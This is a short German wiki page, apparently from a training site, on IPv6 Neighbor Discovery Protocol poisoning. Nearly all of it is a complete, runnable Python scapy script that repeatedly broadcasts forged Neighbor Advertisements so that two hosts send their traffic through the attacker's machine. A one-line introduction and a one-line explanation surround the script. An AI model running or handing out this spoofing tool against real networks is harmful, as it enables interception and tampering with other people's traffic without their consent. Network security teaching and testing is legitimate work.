IPv6 NDP Spoofing mit scapy

Aus Xinux Wiki
Version vom 28. Oktober 2025, 17:46 Uhr von Thomas.will (Diskussion | Beiträge) (Die Seite wurde neu angelegt: „= NDP Poisoning mit Scapy = == Einleitung == NDP Poisoning (Neighbor Discovery Protocol Poisoning) ist eine Angriffstechnik in IPv6-Netzwerken, die dem ARP Po…“)
(Unterschied) ← Nächstältere Version | Aktuelle Version (Unterschied) | Nächstjüngere Version → (Unterschied)
Zur Navigation springen Zur Suche springen

NDP Poisoning mit Scapy

Einleitung

NDP Poisoning (Neighbor Discovery Protocol Poisoning) ist eine Angriffstechnik in IPv6-Netzwerken, die dem ARP Poisoning in IPv4 entspricht.

Python Script

#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.inet6 import ICMPv6ND_NA, ICMPv6NDOptDstLLAddr
import time

interface = "eth0"
host1 = "2003:a:32a:1799::5:1"
host2 = "2003:a:32a:1799::5:2"
my_mac = get_if_hwaddr(interface)

def ndp_spoof(target_ip, spoof_ip, iface):
    # Sende eine Neighbor Advertisement, die behauptet, dass spoof_ip bei my_mac ist
    pkt = Ether(src=my_mac, dst="ff:ff:ff:ff:ff:ff") / \
          IPv6(src=spoof_ip, dst="ff02::1") / \
          ICMPv6ND_NA(tgt=spoof_ip, R=0) / \
          ICMPv6NDOptDstLLAddr(lladdr=my_mac)
    sendp(pkt, iface=iface, verbose=0)

print("Starting NDP spoofing... Press Ctrl+C to stop.")
try:
    while True:
        # Vergifte Host1: Sage, dass Host2 bei uns ist
        ndp_spoof(host1, host2, interface)
        # Vergifte Host2: Sage, dass Host1 bei uns ist
        ndp_spoof(host2, host1, interface)
        time.sleep(2)
except KeyboardInterrupt:
    print("\nStopping NDP spoofing.")

Erklärung

Das Script sendet gefälschte NDP Neighbor Advertisement Pakete, um die MAC-Adressen der Ziel-Hosts zu vergiften.